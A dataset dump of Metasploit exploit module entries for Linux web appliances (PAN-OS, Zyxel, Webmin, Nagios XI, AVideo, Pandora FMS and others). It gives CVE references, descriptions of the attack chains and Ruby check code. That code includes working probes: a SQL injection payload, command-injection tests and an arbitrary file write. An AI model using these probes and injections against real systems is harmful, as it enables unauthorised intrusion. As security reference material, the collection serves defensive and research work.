deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Trend Micro Web Security (Virtual Appliance) Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/trendmicro_websecurity_exec.rb
Platform: python
Disclosure date: 2020-06-10
References: CVE-2020-8604, CVE-2020-8605, CVE-2020-8606, ZDI-20-676, ZDI-20-677, ZDI-20-678

Description:
This module exploits multiple vulnerabilities together in order to achive a remote code execution.
          Unauthenticated users can execute a terminal command under the context of the root user.

          The specific flaw exists within the LogSettingHandler class of administrator interface software.
          When parsing the mount_device parameter, the process does not properly validate a user-supplied string
          before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
          the context of root. But authentication is required to exploit this vulnerability.

          Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
          can exploit this vulnerability in order to communicate with internal services in the product.

          Last but not least a flaw exists within the Apache Solr application, which is installed within the product.
          When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
          An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.

          Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.

          Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.

Check method (fingerprinting):
#
    # @jsessionid can be one of the following value
    #
    # -1 = Proxy service is not vulnerable, which means we'r not gonna
    # be able to read catalina.out
    #
    # 0  = Proxy service is vulnerable, but catalina.out does not contain any
    # jessionid string yet !
    #
    # empty = Proxy service is vulnerable, but jessionid within log file but
    # none of them are valid:(
    #
    # string = Proxy service is vulnerable and sessionid is valid !
    #
    hijack_cookie

    if @jsessionid == -1
      CheckCode::Safe('The target is not vulnerable')
    else
      CheckCode::Vulnerable('The target is vulnerable')
    end
  end
Metasploit Module: Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/panos_telemetry_cmd_exec.rb
Disclosure date: 2024-04-12
References: CVE-2024-3400, URL-https://security.paloaltonetworks.com/CVE-2024-3400, URL-https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/, URL-https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

Description:
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
          allow an unauthenticated attacker to create arbitrarily named files and execute
          shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
          GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
          include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
          < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
          one hour to execute, depending on how often the telemetry service is set to run.

Check method (fingerprinting):
# Try to create a new empty file in an accessible directory with the exploit primitive
    # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
    file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
    touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")

    # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
    res_check_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
    )

    return CheckCode::Unknown('Connection failed') unless res_check_created

    res_check_not_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
    )

    return CheckCode::Unknown('Connection failed') unless res_check_not_created

    if (res_check_created.code != 403) || (res_check_not_created.code != 404)
      return CheckCode::Safe('Arbitrary file write did not succeed')
    end

    CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
  end
Metasploit Module: Zyxel chained RCE using LFI and weak password derivation algorithm
Type: exploit
Path: modules/exploits/linux/http/zyxel_lfi_unauth_ssh_rce.rb
Platform: unix
Disclosure date: 2022-02-01
References: CVE-2023-28770, URL-https://r.sec-consult.com/zyxsploit, URL-https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/, URL-https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/, URL-https://github.com/boginw/zyxel-vmg8825-keygen, URL-https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770
Targets: Unix Command, Linux Dropper

Description:
This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd)
          and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
          The remote code execution vulnerability can be exploited by chaining the local file disclosure
          vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
          of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
          With this information disclosure, the attacker can determine if the router is reachable via ssh
          and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
          a weak implementation of a password derivation algorithm using the device serial number.

          After exploitation, an attacker will be able to execute any command as user `supervisor`.

Check method (fingerprinting):
# Initiate the instance variable config to store the configuration
    # @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil }

    res = get_configuration
    return CheckCode::Unknown('No response received from the target') if res.nil?
    return CheckCode::Unknown('Could not retrieve the target configuration') if res.code != 200

    begin
      process_configuration(res)
    rescue ProcessConfigException => e
      case e.exception_type
      when 'ConfigNotVulnerable', 'ConfigUnreachable'
        return CheckCode::Safe(e.message)
      when 'ConfigUnknown'
        return CheckCode::Unknown(e.message)
      end
    end
    return CheckCode::Vulnerable('The target is vulnerable')
  end
Metasploit Module: ZEN Load Balancer Filelog Command Execution
Type: exploit
Path: modules/exploits/linux/http/zen_load_balancer_exec.rb
Platform: unix
Disclosure date: 2012-09-14
References: CVE-2012-10039, OSVDB-85654, URL-http://web.archive.org/web/[PII_REDACTED]5056/https://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/

Description:
This module exploits a vulnerability in ZEN Load Balancer
          version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
          to execute arbitrary code under the context of the 'root' user.
          The 'content2-2.cgi' file uses user controlled data from the 'filelog'
          parameter within backticks.

Check method (fingerprinting):
# retrieve software version from config file
    vprint_status("Sending check")
    begin
      res = send_request_cgi({
        'uri' => '/config/global.conf'
      })

      if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
        return Exploit::CheckCode::Appears("Version #{$1} appears to be vulnerable")
      elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
        return Exploit::CheckCode::Detected('Zen Load Balancer detected')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection
Type: exploit
Path: modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb
Platform: unix
Disclosure date: 2020-08-09
References: CVE-2020-17505, CVE-2020-17506, EDB-48744, URL-https://blog.max0x4141.com/post/artica_proxy/
Targets: Unix Command, Linux Dropper

Description:
This module exploits an authenticated command injection vulnerability in Artica Proxy, combined with an authentication bypass
          discovered on the same version, it is possible to trigger the vulnerability without knowing the credentials.
          The application runs in virtual appliance, successful exploitation of this vulnerability yields remote code execution as root on the
          remote system.

Check method (fingerprinting):
if datastore['PHPSESSID']
      @phpsessid = datastore['PHPSESSID']
    else
      check_result = auth_bypass
      return check_result unless check_result == CheckCode::Vulnerable

      @phpsessid = check_result.reason
    end
    rand_string = Rex::Text.rand_text_alphanumeric(4..16)
    if execute_command("echo #{Rex::Text.encode_base64(rand_string)}|base64 -d").include?(rand_string)
      CheckCode::Appears('The target appears to be vulnerable')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Netgear DGN1000B setup.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
Platform: unix
Disclosure date: 2013-02-06
References: CVE-2013-10061, BID-57836, EDB-24464, OSVDB-89985, URL-http://www.s3cur1ty.de/m1adv2013-005
Targets: CMD, Linux mipsbe Payload

Description:
Some Netgear Routers are vulnerable to authenticated OS Command injection. The
          vulnerability exists in the web interface, specifically in the setup.cgi component,
          when handling the TimeToLive parameter. Default credentials are always a good
          starting point, admin/admin or admin/password could be a first try. Since it is a
          blind os command injection vulnerability, there is no output for the executed
          command when using the cmd generic payload. A ping command against a controlled
          system could be used for testing purposes.
Metasploit Module: AlienVault OSSIM/USM Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/alienvault_exec.rb
Platform: python
Disclosure date: 2017-01-31
References: CVE-2016-8582, URL-https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/, EDB-40682

Description:
This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.
          Unauthenticated users can execute arbitrary commands under the context of the root user.

          By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
          which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
          action and policy that enables to execute operating system commands by using captured session token. As a final step,
          SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes
          operating system command with root user privileges.

          This module was tested against following product and versions:
          AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
          AlienVault OSSIM 5.0.0, 4.6.1

Check method (fingerprinting):
r = rand_text_alpha(15)
    p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
      'headers' => {
        'User-Agent' => 'AV Report Scheduler',
      },
      'vars_get' => {
        'type' => 'alarm',
        'wtype' => 'foo',
        'asset' => 'ALL_ASSETS',
        'height' => 1,
        'value' => p
      }
    })

    if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Openfiler v2.x NetworkCard Command Execution
Type: exploit
Path: modules/exploits/linux/http/openfiler_networkcard_exec.rb
Platform: unix
Disclosure date: 2012-09-04
References: CVE-2012-10040, BID-55490, URL-http://web.archive.org/web/[PII_REDACTED]0411/https://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/, OSVDB-93881, EDB-21191

Description:
This module exploits a vulnerability in Openfiler v2.x
          which could be abused to allow authenticated users to execute arbitrary
          code under the context of the 'openfiler' user. The 'system.html' file
          uses user controlled data from the 'device' parameter to create a new
          'NetworkCard' object. The class constructor in 'network.inc' calls exec()
          with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
          providing a system password.

Check method (fingerprinting):
# retrieve software version from login page
    vprint_status("Sending check")
    begin
      res = send_request_cgi({
        'uri' => '/'
      })

      if res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Webmin Package Updates Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/webmin_packageup_rce.rb
Platform: unix
Disclosure date: 2019-05-16
References: CVE-2019-12840, URL-https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html

Description:
This module exploits an arbitrary command execution vulnerability in Webmin
          1.910 and lower versions. Any user authorized to the "Package Updates"
          module can execute arbitrary commands with root privileges.

Check method (fingerprinting):
cookie = login
    return CheckCode::Detected('The target service was detected') if cookie == ''
    return CheckCode::Unknown('Could not determine the target status') if cookie.nil?

    vprint_status('Attempting to execute...')
    # check version
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
      'cookie' => "sid=#{cookie}",
      'vars_get' => { "xnavigation" => "1" }
    })

    if res && res.code == 302 && res.body
      version = res.body.split("- Webmin 1.")[1]
      return CheckCode::Detected('Webmin detected but version could not be determined') if version.nil?

      version = version.split(" ")[0]
      if version <= "910"
        # check package update priv
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, "package-updates/"),
          'cookie' => "sid=#{cookie}"
        })

        if res && res.code == 200 && res.body =~ /Software Package Update/
          print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
          return CheckCode::Vulnerable("Exploitable: version #{version} is vulnerable")
        end
      end
    end
    print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
    print_status("Please try with another user account!")
    CheckCode::Detected("Version #{version} may be vulnerable, but user '#{datastore['USERNAME']}' lacks Package Updates permissions")
  end
Metasploit Module: Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection
Type: exploit
Path: modules/exploits/linux/http/nagios_xi_plugins_filename_authenticated_rce.rb
Platform: linux
Disclosure date: 2020-12-19
References: CVE-2020-35578, EDB-49422
Targets: Linux (x86/x64), CMD

Description:
This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php`
          page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows
          an authenticated admin user to achieve remote code execution as the `apache` user by uploading
          a malicious plugin.

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both
          running on CentOS 7.

Check method (fingerprinting):
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a get request to index.php and the session cookies
    auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version < Rex::Version.new('5.8.0')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end
Metasploit Module: AVideo Encoder getImage.php Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb
Platform: %w[unix linux
Disclosure date: 2026-03-05
References: CVE-2026-29058
Targets: Unix/Linux Command Shell

Description:
This module exploits an unauthenticated OS command injection vulnerability
          in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).

          The base64Url GET parameter is base64-decoded and injected directly into an
          ffmpeg shell command within double quotes, without any sanitization or use of
          escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
          metacharacters such as $() in the URL path, allowing command substitution.

          A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
          into: ffmpeg -i "{$url

Check method (fingerprinting):
res = send_getimage('true')
    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200

    hits = 0

    3.times do |i|
      sleep_time = rand(1..3)
      vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
      _, elapsed = Rex::Stopwatch.elapsed_time do
        send_getimage("sleep${IFS}#{sleep_time}")
      end

      next unless elapsed >= (sleep_time - 0.5)

      vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
      hits += 1
    end

    return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2

    CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
  end
Metasploit Module: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
Type: exploit
Path: modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb
Platform: php
Disclosure date: 2024-11-21
References: CVE-2024-11320, URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/, URL-https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
Targets: PHP Command, Unix/Linux Command

Description:
Pandora FMS is a monitoring solution that provides full observability for your organization's
          technology. This module exploits an command injection vulnerability in the LDAP authentication
          mechanism of Pandora FMS.
          You need have admin access at the Pandora FMS Web application in order to execute this RCE.
          This access can be achieved leveraging a default password vulnerability in Pandora FMS that
          allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
          administrative access to the Pandora FMS Web application. This attack can be remotely executed
          over the WAN as long as the MySQL services are exposed to the outside world.
          This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4

Check method (fingerprinting):
@check_running = true
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    })
    unless res&.code == 200 && res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    html = res.get_html_document
    full_version = html.at('div[@id="ver_num"]')
    if full_version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    full_version = full_version.text
    version = full_version[1..].sub('NG', '')
    if version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    version = Rex::Version.new(version)
    unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4')
      return CheckCode::Safe("Pandora FMS version #{full_version}")
    end

    CheckCode::Appears("Pandora FMS version #{full_version}")
  end